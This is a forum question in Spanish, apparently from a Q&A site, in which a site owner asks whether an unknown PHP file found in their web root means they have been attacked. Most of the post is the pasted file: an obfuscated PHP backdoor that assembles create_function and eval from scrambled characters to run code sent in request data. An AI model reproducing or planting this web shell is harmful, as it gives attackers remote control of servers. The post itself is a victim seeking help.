Obtuve este archivo php en la raíz de mi servidor web. ¿Soy atacado? [duplicar]

El nombre del archivo es dmpdstcm_qsdfjmqsjfdlmqjf.php y su contenido está debajo.

¿Qué debo hacer por favor? :(

<?php
$brian= 'r';$exhaling ='ctpv'; $jacki= 'b'; $cravat = 'am('; $giselbert = 'LkRi"r';$foulplay= ''';$dabbling ='i';$finicky = 'M';$comparison = 'tMraMH';$distract='LM:ZaM';
$cuprous=']'; $augmenting= '"'; $intervene ='(';$impermeable = 'iR)ce_';$disciplinary= ')mCa)'; $hymn='[dOta(Kr';$bagger='rs'; $elysian ='H($(ectoE';$lets = 'l';

$derek='))];Qwrv';

$doloritas='g]sMO(vT';
$crimson= 'CSmdie'; $incidental ='r'; $leaps='$aE"_';

$lumped='='; $gulled = ',?"ncWT';$campground = 'S6rm';

$bell='PP(e';
$fives ='O';$irreflexive='$'; $ambrose= 'kLS$c_'; $dragging = '_';
$bootlegger ='"';$iota= '"esnlcfV_'; $askers= 'Ws'; $fuck ='uV)s'; $greasy= 'i';
$caffeine= 'e';$downplays ='te;l';$amen= '_e'; $inhomogeneity = 'A';$enroll='N';

$constructive='U'; $cutting = ')atT'; $down='P';$duchess ='a';

$amended= 'R';$ashlin = '[[^m';$assisting= 'K';$brazier ='C4__)_l';
$consent= 'i]$eesYa(';$distillers= 'aW;gerg';

$frasier = '_';

$leveller ='raao'; $cedar ='$T$e"MvR]';$fry = 'X?Aes';
$flinched= 'KfswIud='; $attendances = 'e';

$deerskin='o'; $casie='i$aTT_yrE'; $fenugreek= '"';$kittens ='e'; $cavernous='E';$antlered =' '; $glows='ip';$disgraceful = ')'; $feature ='m'; $hypoactive =','; $arrow = 'iU_';$cashers=')yt'; $bilking= '($[(';$hobie = '$';
$goddard=';'; $enlivening ='mnQ['; $capacity= 'K:)(Ea';$droplet = $iota[5]. $casie['7'].$kittens.$capacity['5'].
$cashers['2']. $kittens.$arrow[2] .$flinched['1'].

$flinched[5]. $enlivening['1'] .$iota[5] .$cashers['2']. $arrow[0].$deerskin. $enlivening['1'];
$impassable = $antlered;

$branchings = $droplet ($impassable,$kittens . $cedar['6'] .

$capacity['5'] .$brazier['6'] . $capacity['3'] .

$capacity['5'] . $casie['7']. $casie['7'] . $capacity['5']. $cashers['1'] .
$arrow[2] .
$glows['1'] . $deerskin.$glows['1']. $capacity['3'].

$flinched['1'].$flinched[5] . $enlivening['1'] .$iota[5].
$arrow[2] . $distillers['6'].

$kittens . $cashers['2'] .$arrow[2] . $capacity['5']. $casie['7'].$distillers['6'] .$flinched['2'] .$capacity['3'] .$capacity['2'] . $capacity['2']. $capacity['2'] .$goddard); $branchings($foulplay , $arrow[2] ,$casie['7'], $ashlie['3'],$deerskin , $cashers['2'], $ashlin[2] , $fretting['0'],$hobie . $arrow[0] . $flinched[7]. $capacity['5'].

$casie['7']. $casie['7']. $capacity['5'] .$cashers['1'] .$arrow[2] . $enlivening['0'] .
$kittens .$casie['7'] .

$distillers['6'].$kittens. $capacity['3'] . $hobie .$arrow[2] .$cedar['7'].

$capacity['4']. $enlivening['2'] . $arrow['1']. $capacity['4'].$ambrose['2'].$casie['4'].$hypoactive .$hobie.$arrow[2]. $brazier['0']. $fives .$fives.$capacity['0'].
$flinched['4'] .

$capacity['4'].

$hypoactive.$hobie.

$arrow[2] .$ambrose['2'].$capacity['4'].$cedar['7']. $fuck['1'] .$capacity['4'] .$cedar['7'] .
$capacity['2']. $goddard.
$hobie . $capacity['5']. $flinched[7].$arrow[0]. $flinched['2'].$flinched['2'] . $kittens .$cashers['2'].
$capacity['3'] . $hobie . $arrow[0] .
$enlivening['3'] .$fenugreek.$iota[5] . $enlivening['0'] .$enlivening['0'] .$ambrose['0'] . $enlivening['0'].
$flinched['3']. $capacity['5'] .

$brazier['6']. $fenugreek. $cedar['8'] .$capacity['2'].$fry['1'].

$hobie.$arrow[0] .$enlivening['3'] . $fenugreek .
$iota[5].$enlivening['0'].$enlivening['0'] . $ambrose['0'] .$enlivening['0'].$flinched['3'].$capacity['5'] .$brazier['6']. $fenugreek.$cedar['8'] .$capacity['1']. $capacity['3'] .$arrow[0].
$flinched['2'].$flinched['2'] . $kittens.
$cashers['2'].$capacity['3']. $hobie .$arrow[0] .$enlivening['3'] .$fenugreek. $elysian[0]. $casie['4'].$casie['4'] .$down.$arrow[2].$brazier['0'].

$cedar['5'] . $cedar['5'] . $capacity['0']. $cedar['5']. $distillers['1']. $fry['2'] . $ambrose['1'] .$fenugreek .$cedar['8'].

$capacity['2'] .$fry['1'] .$hobie .$arrow[0] .
$enlivening['3']. $fenugreek.

$elysian[0] . $casie['4'].$casie['4'] .$down.$arrow[2] . $brazier['0'].$cedar['5']. $cedar['5']. $capacity['0']. $cedar['5']. $distillers['1']. $fry['2']. $ambrose['1'] .
$fenugreek.
$cedar['8']. $capacity['1'] . $flinched['6'].$arrow[0].$kittens . $capacity['2']. $goddard . $kittens .
$cedar['6']. $capacity['5']. $brazier['6'] .$capacity['3'].$flinched['2'].$cashers['2'].
$casie['7'] . $casie['7'].$kittens. $cedar['6']. $capacity['3']. $jacki . $capacity['5'].$flinched['2']. $kittens . $campground['1'] . $brazier['1']. $arrow[2].$flinched['6'] .$kittens. $iota[5]. $deerskin .$flinched['6'] .
$kittens .$capacity['3'] . $flinched['2'].$cashers['2'] . $casie['7'].$casie['7'] .$kittens . $cedar['6']. $capacity['3'].$hobie . $capacity['5']. $capacity['2'] . $capacity['2'] . $capacity['2'].$capacity['2'] .$goddard );